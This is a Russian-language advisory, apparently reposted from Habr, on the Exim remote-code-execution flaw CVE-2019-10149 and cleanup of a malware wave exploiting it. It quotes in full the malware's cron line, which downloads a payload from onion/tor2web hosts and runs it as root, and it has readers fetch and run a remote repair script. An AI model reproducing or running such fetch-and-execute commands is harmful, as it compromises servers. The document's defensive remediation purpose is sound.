Массовое заражение серверов Linux (CVE-2019-10149)

Exim (v4) — это агент пересылки почты. exim4-config предоставляет инфраструктуру конфигурации для служб exim4. Она была вынесена в отдельный пакет для упрощения замены конфигурационной схемы собственной (без изменения файлов относящихся к основным пакетам exim4). 

В случае серверов, которым требуется специальная конфигурация (например, есть много машин с одинаковыми настройками), можно использовать этот пакет для распространения изменённых конфигураций через систему пакетов с помощью механизма dpkg — conffile, которая позволяет избежать внесения дополнительных изменений на каждой машине.

Выявлена критическая уязвимость в почтовом сервере Exim, которая позволяет выполнить код на сервере с правами root. 

Данная уязвимость (CVE-2019-10149) может привести к выполнению кода на сервере с правами root, который осуществляется во время обработки специального запроса. Ошибка была найдена в версиях Exim 4.87 до 4.91 (включительно). Неправильная проверка адреса получателя в функции

delivery_message () в /src/deliver.c

может привести к удаленному выполнению команды.
Узнайте больше о CVE-2019-10149 из словаря MITER CVE и NIST NVD . Эксплуатация данной угрозы возможна в версиях с 4.87 по 4.91 включительно или при сборке с опцией EXPERIMENTAL_EVENT.

Для исправления прошлых версий, применяющихся в дистрибутивах, можно использовать патч, доступный по ссылке на сайт git.exim.org

Exim широко распространен. На момент публикации результаты поиска Shodan показали, что более 4,1 миллиона систем используют версии Exim, которые считаются уязвимыми (4.87-4.91), а 475 591 — последняя исправленная версия (4.92). Другими словами, почти 90% систем с Exim уязвимы для локальной эксплуатации и потенциально для удаленной эксплуатации в зависимости от конфигурации.

Как понять, что сервер взломан?

Проверьте запущенные процессы командой top. 
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.

Секция предупреждений

Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов. 

Важно: уязвимость позволяет исполнять код из под root’а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.

Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.

1. Обновляет Exim, переустанавливает curl.
2. Проверяет наличие заражения на сервере.

Скрипт анализирует задания планировщика на наличие подозрительных включений. Например, таких:
				
					*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

				
			
2а. Если в папке /etc есть следы вирусного скрипта, делает следующее
  • останавливает cron
  • убивает процесс, запущенный вирусным скриптом
  • четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
  • чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
  • разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
				
					/etc/cron.daily/cronlog
/etc/cron.d/root
/etc/cron.d/.cronbus
/etc/cron.hourly/cronlog
/etc/cron.monthly/cronlog
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/crontab
/root/.cache/
/root/.cache/a
/usr/local/bin/nptd
/root/.cache/.kswapd
/usr/bin/\[kthrotlds\]
/root/.ssh/authorized_keys
/.cache/*
/.cache/.sysud
/.cache/.a
/.cache/.favicon.ico
/.cache/.kswapd
/.cache/.ntp
				
			
  • удаляет эти файлы
  • удаляет задание автозапуска в /etc/rc.local
  • удаляет ключ злоумышленника из разрешенных ключей ssh
  • запускает cron
  • и сразу перезагружает сервер

  • 2б. Если следов заражения нет, скрипт завершает работу.

    Уточнения

    Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии. 

    curl также заражается вирусом, поэтому он переустанавливается.

    Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.

    Как пользоваться

    Перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.

    Для запуска скрипта:

    Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.

    В терминале введите команду:

    				
    					wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
    				
    			

    Ожидайте завершения выполнения скрипта и перезагрузки сервера. 

    После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.

    Обновление до безопасной версии

    Обновления для пакетов, поставляющих версию 4.92, в которой не проявляется данная проблема, можно найти по ссылкам:

    Для Debian: https://security-tracker.debian.org/tracker/CVE-2019-10149

    Для Ubuntu: https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-10149.html

    Для OpenSUSE: https://bugzilla.novell.com/show_bug.cgi?id=CVE-2019-10149

    Для Arch Linux: https://www.archlinux.org/packages/community/x86_64/exim/

    Для Fedora: https://bodhi.fedoraproject.org/updates/FEDORA-2019-7b741dcaa4

    Данный почтовый сервер является самым распространённым, поэтому, скорее всего, он установлен в вашей системе. На данный момент уже появились вирусы, которые эксплуатируют уязвимость. Советуем осуществить проверку на наличие Exim, а также принять меры по защите от данной уязвимости.

    Некоторую информацию о CVE-2019-10149 в дистрибутивах Linux можно найти здесь:

    Отслеживание безопасности Debian: CVE-2019-10149
    База данных Red Hat CVE: CVE-2019-10149
    Ubuntu CVE Tracker: CVE-2019-10149
    Gentoo Bugzilla: CVE-2019-10149
    Центр безопасности Amazon Linux: ALAS-2019-1221

    Источник: Habr

    Свежие записи
    Команда RD

    Команда RD и RMDIR позволяют удалять как каталоги, так и

    Web-Дизайн
    help2site
    Слайдер на чистом CSS 3, без JS и JQuery.

    Сегодня мы рассмотри ещё один слайдер на чистом CSS3, но на этот раз мы готовы сломать все стереотипы о том, что каждый раз когда мы

    Web-Дизайн
    help2site
    Установка модуля Drupal редактора текстов

    Для установки модуля редактора текстов (будем использовать редактор текстов FCKeditor и модуль его интеграции в Drupal c аналогичным именем (как у редактора текстов)), скачаем его

    Web-Дизайн
    help2site
    Работа с датами и временем на PHP

    Рассмотрим, как работать с датами и временем в PHP. Время в Unix-компьютерах Для Unix-компьютеров начало отсчета времени –– полночь 1 января 1970 года. Любая дата

    Web-Дизайн
    help2site
    Установка сервера MySQL 5.0

    Доброго времени суток! В прошлый раз я рассказывал, как настроить Apache для работы с PHP как с модулем, а сегодня я расскажу как установить и

    Настройка
    help2site
    Как подключить компьютер к телевизору

    Многие пользователи компьютера хотя бы раз задумывались о том, как подключить компьютер к телевизору — ведь кинофильмы и сериалы удобнее всего смотреть на удобном диване